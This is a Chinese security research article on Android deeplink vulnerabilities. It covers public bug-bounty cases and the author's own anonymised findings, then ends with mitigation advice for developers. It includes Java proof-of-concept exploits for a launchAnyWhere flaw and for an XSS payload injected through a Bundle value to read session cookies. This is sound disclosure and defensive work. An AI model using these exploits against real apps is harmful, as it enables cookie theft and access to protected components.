作者:heeeeen
公众号:OPPO安全应急响应中心
deeplink 是一种在网页中启动App的超链接。当用户点击deeplink链接时,Android系统会启动注册该deeplink的应用,打开在Manifest文件中注册该deeplink的activity。
例如,按照Manifest文件,example://gizmos
和http://www.example.com/gizmos这两个deeplink 都可以被用来启动GizmosActivity
.
xml<activity
android:name="com.example.android.GizmosActivity"
roid:label="@string/title_gizmos" >
<intent-filterandroid:label="@string/filter_view_http_gizmos"> <action android:name="android.intent.action.VIEW" ></action> category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" ></category>
<!-- Accepts URIs that begin with "http://www.example.com/gizmos” -->
<data android:scheme="http" android:host="www.example.com"
android:pathPrefix="/gizmos" ></data>
<!-- note that the leading "/" is required for pathPrefix-->
</intent-filter>
<intent-filter android:label="@string/filter_view_example_gizmos">
<action android:name="android.intent.action.VIEW" ></action> <category android:name="android.intent.category.DEFAULT" ></category> <category android:name="android.intent.category.BROWSABLE" ></category>
<!-- Accepts URIs that begin with "example://gizmos” --> <data android:scheme="example"
android:host="gizmos" ></data>
</intent-filter>
</activity>```
对于deeplink,可以通过adb shell am start -a android.intent.action.VIEW -d <deeplink>
打开注册deeplink的Activity,方便地在本地环境测试。
由于deeplink天然具有远程的特性,只需要用户点击一下,就可以启动Activity,若这个过程造成安全影响,就是一个1-click的远程漏洞,因此对App而言,deeplink是最为常见的远程攻击面。
有一类特殊的基于intent:// scheme的deeplink
,各浏览器都出现过与之相关的安全漏洞,文章有专门的讨论,其安全问题不是本文讨论的重点。本文主要讨论App自定义scheme deeplink引入的安全问题。
在deeplink漏洞当中,打开App的WebView访问攻击者可控链接携带token,甚至盗取文件或者调用其中的特权接口,又最为常见。例如:
这是一个价值8500刀的Facebook app 漏洞,白帽子对Facebook App大量的fb:// deeplink
进行了整理、筛选和自动化测试,找到了3个deeplink可以打开WebView组件访问指定的url,而且这个url支持file://, 并可以打开本地文件,尽管没有给出自动盗取文件的利用方法,facebook仍然慷慨地奖励了这一漏洞。
bagipro发现通过deeplinkgrab://open?screenType=HELPCENTER&page=<evil-site>
可打开grab app的WebView,并访问攻击者可控的url,通过js调用WebView的特权接口可盗取用户的敏感信息。
另外,之前玄武实验室披露的应用克隆漏洞,其实也是通过deeplink打开WebView,利用WebView设置配置不当,盗取App私有目录的所有文件实现应用克隆。这一类deeplink需要重点关注url、extra_url、page、link等参数,看是否可以设置为任意域名打开webview。
针对twitter的Periscope Android App,若用户点击形为pscp://user/<user-id>
或者 pscpd://user/<user-id>
则可以绕过确认对话框,直接follow指定user-id的用户。而用户点击www.pscp.tv<user-id>/follow
是需要弹出确认对话框的。
Shopify App具有基于指纹的应用锁功能,然而却可以通过点击deeplink https://www.shopify.com/admin/products绕过应用锁,无限制地使用app的功能。
另外,还有 sambal0x分享的一个案例,通过deeplink构造条件竞争,绕过应用锁。
这里分享自己在某App渗透测试中的deeplink漏洞案例(漏洞已经修复,但隐去app信息,以victim-app代替)类似于facebook app,该App包含大量(>200)的deeplink,散落在java代码和asset目录的js文件中。对这些deeplink进行筛选和简单Fuzz,发现了多个安全问题。包括:
在这些安全问题当中,最有意思的则是可以通过deeplink打开App的保护组件,漏洞的根本原因在于,Intent extra可以通过deeplink以参数的形式传递至App中哪些不导出的Activity中,从而暴露了大量的攻击面。通过adb shell am start -a android.intent.action.VIEW -d <deeplink>
测试所有的deeplink,同时监控adb logcat -s ActivityManager
,寻找处理deeplink的最终Activity,我发现了两个打开App保护组件的问题:
通过测试victim-app://c/identitychina
,发现经过复杂的Intent传递,最终可以打开IdentityChinaActivity
。
如代码所示,globalIdentityFlowIntent
作为一个Parcelable对象,可以跟随deeplink的Intent extra
传递,为攻击者可控。而这个embeded Intent
最终会传入startActivityForResult
,造成一个launchAnyWhere
漏洞,攻击者可以通过globalIdentityFlowIntent
指向不导出的Activity,或者构造App所持有权限的特权操作,实现提权或者盗取敏感信息。
java
protected void onActivityResult(int arg3, int arg4, Intent arg5) {
super.onActivityResult(arg3, arg4, arg5);
int v0 = 100;
if(arg3 == 1 && arg5 != null) {
String v3 = arg5.getStringExtra("country_code");
IdentityChinaAnalyticsV2.d(v3);
if(this.o != null) {
AccountVerificationActivityIntents.a(v3);
this.startActivityForResult(this.o, v0); //this.o is an attacker controlled Intent
}
}
else if(arg3 == v0) {
arg3 = -1;
if(arg4 == arg3) {
this.setResult(arg3);
this.finish();
}
}
}
protected void onCreate(Bundle arg2) {
super.onCreate(arg2);
this.setContentView(layout.activity_simple_fragment);
ButterKnife.a(((Activity)this));
if(arg2 == null) {
this.c(true);
new ChinaVerificationsRequest().a(this.n).execute(this.I);
}
Intent v2 = this.getIntent();
if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) {
this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent
}
}
通过如下POC可实现漏洞利用
java
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("victim-app://c/identitychina"));
Intent payload = new Intent();
payload.setComponent(new ComponentName("<victim app package name>",
"<victim app protected component name>"));
intent.putExtra("globalIdentityFlowIntent", payload);
startActivity(intent);
```
对deeplink victim-app://c/contact/2?fragmen_class=AAAA
进行测试时,触发了crash,如下
```shell
$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 27066
03-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public
......(skip)
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
```
仔细分析,发现crash原因在于deeplink最终打开了ModalActivity,无法对名为AAAA的Fragment类实例化。如果在deeplink中的fragment_class参数传入一个victim-app已有的Fragment,则可以通过ModalActivity启动。在这个参数当中,我尝试传入了所有已有的Fragment Class,有的可以成功启动,有的却因为参数不完整造成crash,但是这里能够造成何种安全影响却费了一番周折。
最终,我找到一个GoogleWebViewMapFragment,有机会执行loadDataWithBaseURL,通过WebView加载HTML/JS.
```java
@SuppressLint(value={"SetJavaScriptEnabled", "AddJavascriptInterface"}) public
View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) { View v7 = arg7.inflate(layout.fragment_webview, arg8, false);
this.a = v7.findViewById(id.webview);
this.d = v7;
WebSettings v8 = this.a.getSettings();
v8.setSupportZoom(true);
v8.setBuiltInZoomControls(false);
v8.setJavaScriptEnabled(true);
v8.setGeolocationEnabled(true);
v8.setAllowFileAccess(false);
v8.setAllowContentAccess(false);
this.a.setWebChromeClient(new GeoWebChromeClient(this));
VicMapType v8_1 = VicMapType.b(this.o());
this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!!
this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView");
return v7;
}
```
第一个参数v8_1.c()为baseUrl
,第二个参数v8_1.a(this.w())为data
,如果能同时通过deeplink控制这两个参数,就可以操纵WebView在任意baseUrl加载任意HTML/JS。
第一个参数v8_1.c()就是下面的c()方法,这个参数的返回值this.c将会放在某个Bundle中的map_domain
,此外,也发现this.b作为Bundle的map_url
,this.a
作为Bundle的map_file_name
。
第二个参数v8_1.a(this.w())
为下面的a(Resources arg3
)方法,调用VicMapUtils.a
方法,并调用this.b方法对文件中的MAPURL字符串进行替换。
```java
public VicMapType(String arg1, String arg2, String arg3) {
super();
this.a = arg1;
this.b = arg2;
this.c = arg3;
}
public String a(Resources arg3) {
return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN",Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry());
}public Bundle a(Bundle arg3) {
arg3.putString("map_domain", this.c()); // this.c is put in map_domain
arg3.putString("map_url", this.b()); // this.b is put in map_url arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
return arg3;
}
String a() {
return this.a;
}
public static VicMapType b(Bundle arg5) {
return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", ""));
}
String b(){
return this.b;
}
String c() { // v8_1.c()
return this.c;
}
```
检查VicMapUtils.a,发现是打开app asset目录下的文件并读入。
```
java
public class VicMapUtils {
public static String a(Resources arg2, String arg3) {
try {
InputStream v2 = arg2.getAssets().open(arg3);
String v0 = VicMapUtils.a(v2);
v2.close();
return v0;
}
catch(IOException ) {
StringBuilder v0_1 = new StringBuilder();
v0_1.append("unable to load asset ");
v0_1.append(arg3);
throw new RuntimeException(v0_1.toString());
}
}
public static String a(InputStream arg2) {
BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2));
StringBuilder v2 = new StringBuilder();
while(true) {
String v1 = v0.readLine();
if(v1 == null) {
break;
}
v2.append(v1);
v2.append("\n");
}
v0.close();
return v2.toString();
}
}
```
此时,我检查了APK中的asset目录,找到了一些html文件
```
shell$ ls -l *.html
-rwxr-xr-x 1 heeeeen h4cker 8290 3 6 08:28 google_map.html
-rwxr-xr-x 1 heeeeen h4cker 15024 3 6 08:28 leaflet_map.html
-rwxr-xr-x 1 heeeeen h4cker 5546 3 6 08:28 mapbox.html
```
同时,在google_map.html中找到了MAPURL字符串:
html$ cat google_map.html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="utf-8">
<style>
html, body, #map-canvas {
height: 100%;
margin: 0px;
padding: 0px
}
</style>
<script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN®ion=REGIONTOKEN"></script>
<script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script>
<script>
var map;
var infoWindow = null;
var markers = {};
var infoWindowContent = {};
var polylines = {};
漏洞利用的线索开始有一些明了,如果控制了MAPURL字符串,就可以构造一个XSS。
再来看看所涉及Bundle的构造,这个Bundle其实就是启动Fragment的参数,经过实验表明这个Bundle参数可以随deeplink的Intent extra传递。
java
public Bundle a(Bundle arg3) {
arg3.putString("map_domain", this.c()); // this.c is put in map_domain
arg3.putString("map_url", this.b()); // this.b is put in map_url
arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
return arg3;
}
所以,map_domain作为loadDataWithBaseURL的第一个参数,需要传入我们想要在其中执行JS的domain,也就是该App使用的登陆态domain:http://www.vicitim-app.com;map_url>
作为loadDataWithBaseURL
的第二个参数,需要传入攻击payload
;而map_file_name
则需要指向文件名google_map.html
,WebView就会加载这个注入攻击payload的html文件。
至此,可以通过这个deeplink打开任意fragment的漏洞,实现可控任意域执行任意JS,实现盗取登陆态的用户cookie!
POC如下:
java
Intent payload = new Intent(Intent.ACTION_VIEW);
payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));
Bundle extra = new Bundle();
extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>");
extra.putString("map_file_name", "google_map.html");
extra.putString("map_domain", "https://www.victim-app.com"); payload.putExtra("bundle", extra);
startActivity(payload);
既然deeplink暴露了大量的攻击面,且容易出现远程漏洞,因此deeplink的收集就成为漏洞挖掘的重点。首先,需要解析Manifest文件中的android:scheme
及android:host
提取出deeplink的protocol://hostname
,接下来可以采用五种方法:
然而,按照上述思路收集的deeplink还是可能不完整,难以得到完整的参数。从白帽子的角度,deeplink收集始终是挖掘deeplink漏洞的最大难点。
开发者特别要重点关注与deeplink有关的WebView安全问题,这一类漏洞在deeplink安全问题中占比最大。需要小心deeplink中url、extra_url、page、link、redirect等参数,检查是否可以修改这些参数使WebView访问任意域名。如果这本身是一个业务设计,建议对用户给出外域跳转提示,同时禁止WebView对file://
的访问,禁止loadUrl
访问外域携带重要的认证token,并仔细检查WebView开放敏感javaScriptInterface
或JsBridge
接口所做的域名白名单校验。
此外,由于deeplink无法验证来源,因此也不能用来设计为触发一个对安全有影响的敏感操作,例如:
建议使用deeplink的App开发者向内部安全团队提供所有deeplink清单和设计文档进行安全测试,这样可以比外部攻击者更早、更全面地发现deeplink引入的安全问题。
参考链接:
https://wooyun.js.org/drops/Intent%20scheme%20URL%20attack.html
https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1175/